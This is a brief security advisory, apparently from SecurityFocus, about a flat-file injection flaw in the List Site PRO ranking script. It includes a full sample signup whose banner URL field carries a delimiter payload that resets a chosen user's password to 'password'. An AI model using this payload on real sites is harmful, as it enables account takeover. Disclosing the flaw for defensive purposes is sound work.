source: http://www.securityfocus.com/bid/6685/info

List Site PRO is a top site ranking system that counts hits from member sites and then ranks them according to the number of hits.

A problem has been reported for List Site PRO that would allow an attacker to inject arbitrary values via html input form fields into the underlying flat-file database used by List Site PRO.

A malicious user could sign up like this:

username:username
email:email@emial.com
url:www.url.com
bannerurl:www.site.com/banner.gif ||password|%User_ID%|60|468
banner height:68
banner width:460
password:pass

To reset the sites,specified by %User_ID%,password to 'password'.